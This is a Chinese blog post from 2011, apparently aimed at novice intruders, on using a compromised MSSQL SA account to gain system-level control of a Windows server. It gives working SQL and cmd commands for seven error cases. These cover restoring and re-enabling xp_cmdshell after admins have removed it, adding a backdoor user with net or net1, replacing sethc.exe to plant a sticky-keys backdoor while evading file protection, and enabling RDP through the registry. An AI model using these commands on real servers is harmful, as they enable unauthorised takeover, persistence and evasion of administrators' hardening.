MSSQL SA错误提权集锦

在webshell提权过程中使用MSSQL的SA账号来提升权限拿服务器是比较有效的方法,但是在我们得到SA账号的密码去执行系统命令的时候往往会遇到各类错误提示,无法正常执行系统命令。很多菜鸟朋友们遇到类似的问题可能就会选择放弃,其实这类问题是很常见的,现在管理员安全意识有所提高,往往对SA账号做了限制,或者是对我们执行系统命令所需要的xp_cmdshell储存过程做了修改或者删除,这个xp_cmdshell就类似于我们的wscript.shell一样了,有时候遇到管理将该组件删除了的我们自己上传cmd也就不能执行了。但是这类情况我们也可以突破的,下面给大家列出一些实用SA账号执行系统命令出现的各类错误以及修复办法。

    针对各类错误我们的修复办法都是给服务器执行SQL命令进行修复,这类给服务器执行SQL命令我们可以使用一款《SQL查询分析器修正分离版》的软件,远程连接服务器直接执行SQL命令,若服务器是内网环境下的话我们就需要使用webshell自带的功能给服务器执行SQL语句了。

错误1:Error Message:未能找到存储过程 'master..xp_cmdshell'。

修复办法:

第一步先删除:
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

第二步恢复:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

错误2:拒绝访问。

修复办法:
   
      该类错误一般是在执行系统命令的时候出现,例如执行net user invader 123456 /add时候发生,该错误是由于管理对net文件作了修改,这类我们可以使用net1,或者使用Dir net.exe /s /p命令查找net.exe的备份文件,找到位置再执行,例如net1 user invader 123456 /add或D:\XXX\net.exe user invader 123456 /add。

错误3:Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

修复办法:

;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure   'show advanced options', 0 --

错误4:Error Message:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。

修复办法:

第一步
exec sp_dropextendedproc 'xp_cmdshell'

第二步
dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll")
;EXEC sp_configure   'show advanced options', 0 --

错误5:Error Message:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)。

修复办法:

第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll")
;EXEC sp_configure   'show advanced options', 0 --

错误6:xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)

修复办法:

针对该问题具体修复办法比较难,但可以换另外的思路,我们可以留SHIFT后门,执行两句SQL命令替换sethc.exe为explorer.exe。

declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';

declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';
这个两条语句执行的时间间隔最好不超过10秒钟,否则系统会自动恢复原来的文件。

然后终端登录,按5次shift会运行explorer,找到cmd.exe加用户就OK了。进入后可以使用webshell上传cmd.exe和net.exe加用户!

错误7:3389未开启。

修复办法:

Cmd 命令开3389:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

Sql命令开3389

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

关3389:

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

看3389端口

exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'

posted on 2011-03-15 23:23  小宝哥哥  阅读(938)  评论(0编辑  收藏  举报

导航

Tasup